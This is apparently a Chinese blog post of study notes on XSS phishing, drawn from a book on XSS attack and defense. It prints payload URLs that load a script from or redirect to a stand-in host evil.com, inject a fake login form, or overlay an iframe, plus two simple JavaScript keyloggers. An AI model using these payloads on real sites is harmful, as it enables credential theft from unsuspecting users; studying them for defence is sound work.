网络钓鱼

2018/10/10 安全 xss 4760 words views

继续学习《XSS 攻击剖析与防御》,在这里主要总结一下 网络钓鱼 的一些技巧。

主要来自《XSS 攻击剖析与防御》

0x01 XSS Phishing

1.钓鱼页面

构造钓鱼页面,然后修改钓鱼页面的地址,也就是修改表单的 action 的值

2.记录信息的脚本

在远程服务器上存放一个接收信息的文件

3.XSS Phishing Exploit

攻击者在存在 XSS 的页面插入利用代码

http://www.bug.com/index.php?s=<script src=http://www.evil.com/xss.js></script>

当用户访问这个链接时,就会动态调用远程的 xss.js 文件,该文件的作用是创建一个 Iframe 框架覆盖目标页面,再加载远程域伪造的钓鱼页面(phishing.html)。

document.body.innerHTML = (
		'<div style="position:absolute; top:0px; left:0px; width:100%; height:100%;">' +
		'<iframe src=http://localhost:1111/test.html width=100% height=100%>' +
		'</iframe></div>'
			);

0x02 XSS 钓鱼方式

1.XSS重定向钓鱼 (XSS Redirect Phishing)

Exploit:

http://www.bug.com/index.php?search="'><script>document.location.href="http://www.evil.com"</script>

2.HTML 注入式钓鱼 (XSS HTML Inject Phishing)

利用 XSS 漏洞直接将 HTML/JavaScript 代码插入到页面中

http://www.bug.com/index.php?search=[Exploit]

payload:

http://www.bug.com/index.php?search="'
<html><head><title>login</title></head><body><div style="text-align: center;"><form method="POST" action="phishing.php" name="form"><br /><br />Login:<br /><input name="login" /><br />Password:<br /><input name="Password" type="password"><br /><br /><input name="Valid" value="Ok" type="submit" /><br /></form></div></body></html>

这段代码会在正常的页面中嵌入一个 Form 表单,该表单会覆盖原页面显示,强迫用户输入账号和密码等信息。

3.XSS 跨框架钓鱼 (Iframe Phishing)

这种方式是通过 <Iframe> 标签嵌入远程域的一个页面实施钓鱼,和 1 的例子有点像,此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。

http://www.bug.com/index.php?search=[Exploit]

XSS Phishing Exploit:

http://www.bug.com/index.php?search="'<iframe src="http://www.evil.com" height="100%" width="100%"></iframe>

下面来看一个例子,以百度为例:

<html>
	<head>
		<meta http-equiv="Content-type" content="text/html;charset=utf-8">
		<title>百度一下,你就知道</title>
		<body scroll="no">
			<iframe name="myFrame" src="http://www.baidu.com" width="100%" height="100%" scrolling="auto" frameborder="0" onload="this.style.height=document.body.clientHeight"></iframe>
		</body>
	</head>
</html>

4.Flash 钓鱼(Flash Phishing)

Flash 钓鱼不要求网站存在 XSS 漏洞,只要攻击者把精心构造的 Flash 文件(比如一个假冒的登录框)上传到远程服务器,然后在目标网站中使用 <object><embed> 标签去引用 Flash 即可。

0x03 高级钓鱼技术

1. JavaScript 键盘记录器

<!--在 chrome 测试成功-->
<html>
<head>
  <meta charset="utf-8">
</head>
<body>
  <script>
    function keyDown(){
      var keycode = event.keyCode;
      var realkey = String.fromCharCode(event.keyCode);
      alert("按键码:" + keycode + "    字符:" + realkey);
    }
    document.onkeydown = keyDown;
  </script>
</body>
</html>
<HTML>
 <HEAD>
<TITLE>js 按键记录</TITLE>
 <META NAME="Generator" CONTENT="EditPlus">
 <META NAME="Keywords" CONTENT="js 按键记录"> 
<META NAME="Description" CONTENT="js 按键 记录">
<script type="text/javascript">
 var keystring = "";
 function $(s){return document.getElementById(s)?document.getElementById(s):s;} 
function keypress(e) { 
  var currKey=0,CapsLock=0,e=e||event; 
    currKey=e.keyCode||e.which||e.charCode;  
 CapsLock=currKey>=65&&currKey<=90; 
  switch(currKey)   {      
      
  case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;    
    default:keyName = String.fromCharCode(currKey); break;  
 } 
  keystring += keyName; 
} 
function keydown(e) {   
var e=e||event; 
  var currKey=e.keyCode||e.which||e.charCode; 
  if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))   { 
      switch(currKey)        { 
          case 8: keyName = "[退格]"; break; 
          case 9: keyName = "[制表]"; break;  
          case 13:keyName = "[回车]"; break;  
          case 32:keyName = "[空格]"; break;   
           case 33:keyName = "[PageUp]";   break; 
           case 34:keyName = "[PageDown]";   break;
           case 35:keyName = "[End]";   break;      
           case 36:keyName = "[Home]";   break;      
           case 37:keyName = "[方向键左]";   break;    
          case 38:keyName = "[方向键上]";   break; 
          case 39:keyName = "[方向键右]";   break;    
        case 40:keyName = "[方向键下]";   break;  
         case 46:keyName = "[删除]";   break;   
        default:keyName = "";    break;  
     }       keystring += keyName;   } 
  $("content").innerHTML=keystring;
 }
function keyup(e) { 
  $("content").innerHTML=keystring;
 } 
document.onkeypress=keypress; document.onkeydown =keydown; document.onkeyup =keyup; </script>


 </HEAD> 
<BODY>
 <input type="text" /> 
<input type="button" value="清空记录" onclick="$('content').innerHTML = '';keystring = '';"/> 
<br/>请按下任意键查看键盘响应键值:<span id="content">
</span> 
</BODY> 
</HTML>

Search

    Table of Contents